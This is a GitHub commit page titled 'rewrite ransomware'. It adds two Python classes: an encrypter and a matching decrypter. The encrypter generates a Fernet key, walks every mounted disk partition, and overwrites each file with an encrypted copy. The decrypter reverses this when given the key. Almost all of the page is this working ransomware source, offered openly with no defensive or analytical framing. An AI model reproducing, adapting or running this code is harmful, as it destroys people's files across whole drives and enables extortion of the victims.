Skip to content

Commit

Permalink
rewrite ransomware
Browse files Browse the repository at this point in the history
rewrite ransomware using class
update requirements
  • Loading branch information
dmdhrumilmistry committed Aug 26, 2021
1 parent ccb46b6 commit fb79815
Show file tree
Hide file tree
Showing 5 changed files with 159 additions and 219 deletions.
84 changes: 84 additions & 0 deletions ransomwares/dmsec/decrypter.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,84 @@
from cryptography.fernet import Fernet
from sys import exit
from os import walk
from os.path import join
from psutil import disk_partitions

class DMSECDecrypter:
def __init__(self, key:str=None, paths:list=None) -> None:
# check key
if key == None:
print('[!] Invalid KEY')
exit()
if type(key)==str:
key = bytes(key, encoding='utf-8')
self.KEY = key
print('[!] KEY :', self.KEY)

# generate fernet obj for file encryption
self.fernet = Fernet(self.KEY)

if paths == None:
self.PATHS = self.__get_partitions_path()
else:
self.PATHS = paths
print('[!] PATHS to be decrypted :\n', self.PATHS)



def __get_partitions_path(self) -> list:
'''
returns all mounted partition's mount points as a list
'''
mount_points = []
for partition in disk_partitions():
mount_points.append(partition.mountpoint)
return mount_points


def decrypt_file(self, file_path:str):
'''
decrypts single file
'''
try:
# read file data
with open(file_path, 'rb') as f:
file_data = f.read()

# decrypt file data
dec_data = self.fernet.decrypt(file_data)

# write file data
with open(file_path, 'wb') as f:
f.write(dec_data)
print(f'[*] File {file_path} decrypted.')
return True

except Exception:
print(f'[!] Failed to decrypt {file_path}')
return False


def decrypt_files(self, path:str):
'''
decrypts all the files in the specified path
'''
for root, dirs, files in walk(path):
print('-'*40)
print('ROOT :',root)
for file in files:
file_path = join(root, file)
self.decrypt_file(file_path=file_path)
print('-'*40)


def start(self):
for path in self.PATHS:
self.decrypt_files(path)


if __name__ == '__main__':
PATHS = [r'C:\Users\there\Desktop\tools\TermuxCustomBanner',]
KEY = input('[+] Enter KEY : ')
encrypter = DMSECDecrypter(KEY, PATHS)
encrypter.start()
73 changes: 73 additions & 0 deletions ransomwares/dmsec/dmsec_ransomeware.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,73 @@
from cryptography.fernet import Fernet
from os import chdir, getcwd, walk
from os.path import join
from psutil import disk_partitions

class DMSECEncrypter:
def __init__(self, paths:list=None) -> None:
# generate new key
self.KEY = Fernet.generate_key()
print('[!] KEY :', self.KEY)

# generate fernet obj for file encryption
self.fernet = Fernet(self.KEY)

if paths == None:
self.PATHS = self.__get_partitions_path()
else:
self.PATHS = paths
print('[!] PATHS to be encrypted :\n', self.PATHS)



def __get_partitions_path(self) -> list:
'''
returns all mounted partition's mount points as a list
'''
mount_points = []
for partition in disk_partitions():
mount_points.append(partition.mountpoint)
return mount_points


def encrypt_file(self, file_path):
try:
# read file data
with open(file_path, 'rb') as f:
file_data = f.read()

# encrypt file data
enc_data = self.fernet.encrypt(file_data)

# write file data
with open(file_path, 'wb') as f:
file_data = f.write(enc_data)
print(f'[*] File {file_path} encrypted.')
return True

except Exception:
print(f'[!] Failed to encrypt {file_path}')
return False


def encrypt_files(self, path:str):
for root, dirs, files in walk(path):
print('-'*40)
print('ROOT :',root)
for file in files:
# print('File :', file)
file_path = join(root, file)
# print('filePATH :',file_path)
self.encrypt_file(file_path=file_path)
print('-'*40)



def start(self):
for path in self.PATHS:
self.encrypt_files(path)

if __name__ == '__main__':
PATHS = [r'C:\Users\there\Desktop\tools\TermuxCustomBanner',]
encrypter = DMSECEncrypter(PATHS)
encrypter.start()
83 changes: 0 additions & 83 deletions ransomwares/dsec_ransomware/decrypter.py

This file was deleted.

135 changes: 0 additions & 135 deletions ransomwares/dsec_ransomware/encrypter.py

This file was deleted.

3 changes: 2 additions & 1 deletion requirements.txt
Original file line number Diff line number Diff line change
Expand Up @@ -7,4 +7,5 @@ colorama>=0.4.4
beautifulsoup4==4.9.3
pyfiglet==0.8.post1
prettytable==2.1.0
scapy-python3==0.26
kamene==0.32
psutil=5.8.0

0 comments on commit fb79815

Please sign in to comment.